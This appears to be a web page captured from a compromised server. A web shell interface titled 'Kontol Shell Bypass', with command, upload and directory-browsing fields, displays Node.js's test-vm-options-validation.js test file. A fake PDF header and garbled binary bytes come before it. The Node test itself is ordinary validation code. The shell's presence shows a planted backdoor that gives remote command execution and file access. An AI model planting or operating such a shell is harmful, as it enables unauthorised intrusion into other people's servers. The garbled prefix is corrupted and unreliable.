%PDF- <> %âãÏÓ endobj 2 0 obj <> endobj 3 0 obj <>/ExtGState<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/Annots[ 28 0 R 29 0 R] /MediaBox[ 0 0 595.5 842.25] /Contents 4 0 R/Group<>/Tabs/S>> endobj ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<> endobj 2 0 obj<>endobj 2 0 obj<>es 3 0 R>> endobj 2 0 obj<> ox[ 0.000000 0.000000 609.600000 935.600000]/Fi endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream

nadelinn - rinduu

Command :

ikan Uploader :
Directory :  /proc/self/root/home/ubuntu/node-v16.18.1/test/parallel/
Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 
Current File : //proc/self/root/home/ubuntu/node-v16.18.1/test/parallel/test-vm-options-validation.js
'use strict';

require('../common');
const assert = require('assert');
const vm = require('vm');

const invalidArgType = {
  name: 'TypeError',
  code: 'ERR_INVALID_ARG_TYPE'
};

const outOfRange = {
  name: 'RangeError',
  code: 'ERR_OUT_OF_RANGE'
};

assert.throws(() => {
  new vm.Script('void 0', 42);
}, invalidArgType);

[null, {}, [1], 'bad', true].forEach((value) => {
  assert.throws(() => {
    new vm.Script('void 0', { lineOffset: value });
  }, invalidArgType);

  assert.throws(() => {
    new vm.Script('void 0', { columnOffset: value });
  }, invalidArgType);
});

[0.1, 2 ** 32].forEach((value) => {
  assert.throws(() => {
    new vm.Script('void 0', { lineOffset: value });
  }, outOfRange);

  assert.throws(() => {
    new vm.Script('void 0', { columnOffset: value });
  }, outOfRange);
});

assert.throws(() => {
  new vm.Script('void 0', { lineOffset: Number.MAX_SAFE_INTEGER });
}, outOfRange);

assert.throws(() => {
  new vm.Script('void 0', { columnOffset: Number.MAX_SAFE_INTEGER });
}, outOfRange);

assert.throws(() => {
  new vm.Script('void 0', { filename: 123 });
}, invalidArgType);

assert.throws(() => {
  new vm.Script('void 0', { produceCachedData: 1 });
}, invalidArgType);

[[0], {}, true, 'bad', 42].forEach((value) => {
  assert.throws(() => {
    new vm.Script('void 0', { cachedData: value });
  }, invalidArgType);
});

{
  const script = new vm.Script('void 0');
  const sandbox = vm.createContext();

  function assertErrors(options, errCheck) {
    assert.throws(() => {
      script.runInThisContext(options);
    }, errCheck);

    assert.throws(() => {
      script.runInContext(sandbox, options);
    }, errCheck);

    assert.throws(() => {
      script.runInNewContext({}, options);
    }, errCheck);
  }

  [null, 'bad', 42].forEach((value) => {
    assertErrors(value, invalidArgType);
  });
  [{}, [1], 'bad', null].forEach((value) => {
    assertErrors({ timeout: value }, invalidArgType);
  });
  [-1, 0, NaN].forEach((value) => {
    assertErrors({ timeout: value }, outOfRange);
  });
  [{}, [1], 'bad', 1, null].forEach((value) => {
    assertErrors({ displayErrors: value }, invalidArgType);
    assertErrors({ breakOnSigint: value }, invalidArgType);
  });
}

Kontol Shell Bypass